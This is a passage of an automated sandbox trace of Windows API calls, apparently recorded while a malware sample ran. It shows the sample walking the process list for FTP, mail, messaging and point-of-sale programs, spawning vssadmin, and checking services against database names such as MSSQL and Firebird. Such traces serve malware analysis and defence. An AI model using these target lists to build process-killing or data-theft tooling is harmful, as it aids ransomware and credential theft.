[0077.926] lstrlenW (lpString="columnists.exe") returned 14 [0077.926] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="expected_converter_behind.exe")) returned 1 [0078.327] lstrlenW (lpString="expected_converter_behind.exe") returned 29 [0078.327] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="chose.exe")) returned 1 [0078.329] lstrlenW (lpString="chose.exe") returned 9 [0078.329] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinary_became.exe")) returned 1 [0078.330] lstrlenW (lpString="disciplinary_became.exe") returned 23 [0078.330] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="methods.exe")) returned 1 [0078.331] lstrlenW (lpString="methods.exe") returned 11 [0078.331] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="circulation.exe")) returned 1 [0078.332] lstrlenW (lpString="circulation.exe") returned 15 [0078.332] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="suited.exe")) returned 1 [0078.333] lstrlenW (lpString="suited.exe") returned 10 [0078.333] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="infrastructure.exe")) returned 1 [0078.334] lstrlenW (lpString="infrastructure.exe") returned 18 [0078.334] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="manager_olympic.exe")) returned 1 [0078.335] lstrlenW (lpString="manager_olympic.exe") returned 19 [0078.335] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="relaxation-senegal-ring.exe")) returned 1 [0078.336] lstrlenW (lpString="relaxation-senegal-ring.exe") returned 27 [0078.336] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="help_through_allowing.exe")) returned 1 [0078.338] lstrlenW (lpString="help_through_allowing.exe") returned 25 [0078.338] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0078.339] lstrlenW (lpString="3dftp.exe") returned 9 [0078.339] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0078.340] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0078.340] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0078.341] lstrlenW (lpString="alftp.exe") returned 9 [0078.341] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0078.342] lstrlenW (lpString="barca.exe") returned 9 [0078.342] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0078.344] lstrlenW (lpString="bitkinex.exe") returned 12 [0078.344] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0078.345] lstrlenW (lpString="coreftp.exe") returned 11 [0078.345] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0078.346] lstrlenW (lpString="far.exe") returned 7 [0078.346] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0078.347] lstrlenW (lpString="filezilla.exe") returned 13 [0078.347] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0078.348] lstrlenW (lpString="flashfxp.exe") returned 12 [0078.348] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0078.349] lstrlenW (lpString="fling.exe") returned 9 [0078.349] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0078.350] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0078.350] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0078.351] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0078.351] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0078.352] lstrlenW (lpString="icq.exe") returned 7 [0078.352] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0078.353] lstrlenW (lpString="leechftp.exe") returned 12 [0078.353] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0078.354] lstrlenW (lpString="ncftp.exe") returned 9 [0078.354] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0078.355] lstrlenW (lpString="notepad.exe") returned 11 [0078.355] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0078.356] lstrlenW (lpString="operamail.exe") returned 13 [0078.356] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0078.358] lstrlenW (lpString="pidgin.exe") returned 10 [0078.358] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0078.360] lstrlenW (lpString="scriptftp.exe") returned 13 [0078.360] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0078.361] lstrlenW (lpString="skype.exe") returned 9 [0078.362] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0078.363] lstrlenW (lpString="smartftp.exe") returned 12 [0078.363] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0078.365] lstrlenW (lpString="thunderbird.exe") returned 15 [0078.365] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0078.662] lstrlenW (lpString="totalcmd.exe") returned 12 [0078.662] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0078.664] lstrlenW (lpString="trillian.exe") returned 12 [0078.664] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0078.666] lstrlenW (lpString="webdrive.exe") returned 12 [0078.666] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0078.699] lstrlenW (lpString="whatsapp.exe") returned 12 [0078.699] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0078.701] lstrlenW (lpString="winscp.exe") returned 10 [0078.701] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0078.703] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0078.703] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0078.705] lstrlenW (lpString="active-charge.exe") returned 17 [0078.705] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0078.706] lstrlenW (lpString="accupos.exe") returned 11 [0078.707] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0078.708] lstrlenW (lpString="afr38.exe") returned 9 [0078.708] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0078.710] lstrlenW (lpString="aldelo.exe") returned 10 [0078.710] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0078.711] lstrlenW (lpString="ccv_server.exe") returned 14 [0078.712] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0078.713] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0078.713] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0078.715] lstrlenW (lpString="creditservice.exe") returned 17 [0078.715] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0078.716] lstrlenW (lpString="edcsvr.exe") returned 10 [0078.717] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0078.718] lstrlenW (lpString="fpos.exe") returned 8 [0078.719] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0078.720] lstrlenW (lpString="isspos.exe") returned 10 [0078.720] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0078.722] lstrlenW (lpString="mxslipstream.exe") returned 16 [0078.722] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0078.723] lstrlenW (lpString="omnipos.exe") returned 11 [0078.723] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0078.725] lstrlenW (lpString="spcwin.exe") returned 10 [0078.725] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0078.726] lstrlenW (lpString="spgagentservice.exe") returned 19 [0078.726] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0078.728] lstrlenW (lpString="utg2.exe") returned 8 [0078.728] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0078.967] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0078.967] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0078.969] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0078.969] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0078.970] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0078.970] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0078.972] lstrlenW (lpString="achieve.exe") returned 11 [0078.972] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0078.973] lstrlenW (lpString="harvard.exe") returned 11 [0078.973] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.975] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.975] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0078.976] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0078.976] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.978] lstrlenW (lpString="taskhost.exe") returned 12 [0078.978] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0078.979] lstrlenW (lpString="mdskkv.exe") returned 10 [0078.979] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.981] lstrlenW (lpString="cmd.exe") returned 7 [0078.981] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.983] lstrlenW (lpString="conhost.exe") returned 11 [0078.983] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0078.984] lstrlenW (lpString="vssadmin.exe") returned 12 [0078.984] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0078.985] CloseHandle (hObject=0x1d0) returned 1 [0078.985] Sleep (dwMilliseconds=0x1f4) [0079.796] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0079.797] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0079.798] GetLastError () returned 0xea [0079.798] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x625020 [0079.798] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x625020, cbBufSize=0x123e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x625020, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0079.800] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0079.800] lstrlenW (lpString="Appinfo") returned 7 [0079.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0079.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0079.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0079.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0079.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0079.800] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0079.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0079.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0079.801] lstrcmpiW 